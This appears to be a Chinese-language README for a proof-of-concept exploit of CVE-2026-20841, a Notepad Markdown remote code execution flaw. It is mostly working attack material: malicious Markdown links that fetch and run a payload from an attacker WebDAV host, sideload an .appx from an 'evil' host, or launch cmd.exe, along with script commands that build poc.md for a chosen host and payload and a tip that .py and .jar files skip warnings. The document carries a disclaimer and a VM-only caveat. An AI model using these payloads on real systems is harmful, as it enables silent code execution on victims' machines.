CVE-2026-20841 - Windows 记事本远程代码执行漏洞

针对 Windows 记事本 Markdown 渲染器中远程代码执行漏洞的概念验证（PoC）。该 Markdown 引擎未限制 URL 协议，允许通过可点击链接触发任意协议处理器。

免责声明

1. 并非本人发现。 功劳归于 MSRC 公告 上的原始研究人员。此为 PoC 复现。
2. 实际严重性低于听起来的效果。 在大多数情况下需要多次点击（参见 局限性）。构建此工具是因为“记事本远程代码执行”这个梗太有趣了，不容错过。

攻击向量

1. 远程载荷（file:///）

[click](file:///\\attacker@5005\DavWWWRoot\payload.py)

file:/// 协议可解析远程 UNC 路径。链接一个载荷，Windows 将在点击时获取并执行它。

2. 应用旁加载（ms-appinstaller://）

[click](ms-appinstaller://?source=https://evil/xxx.appx)

使用攻击者提供的 .appx/.msix 包打开应用安装程序。

3. 本地二进制执行（file://）

[click](file://C:/windows/system32/cmd.exe)

启动磁盘上已有的任何可执行文件 — cmd.exe、powershell.exe、mshta.exe 等。

使用方法

两个脚本都会在当前目录生成一个包含构造链接的 poc.md 文件。

node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>

# 示例
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md

测试载荷位于 payloads/ 目录中。

局限性

1. 危险扩展名仍会被标记。 .exe、.lnk、.vbs 及类似扩展名会触发 Windows 安全警告，无论记事本行为如何。
2. 解释器扩展名可绕过警告。 如果目标系统安装了 Python 或 Java，.py 和 .jar 文件会静默执行。

备注

• 存在漏洞的记事本版本可在 Uptodown 上获取。使用前请验证数字签名。
• 仅在虚拟机中测试。

注意安全！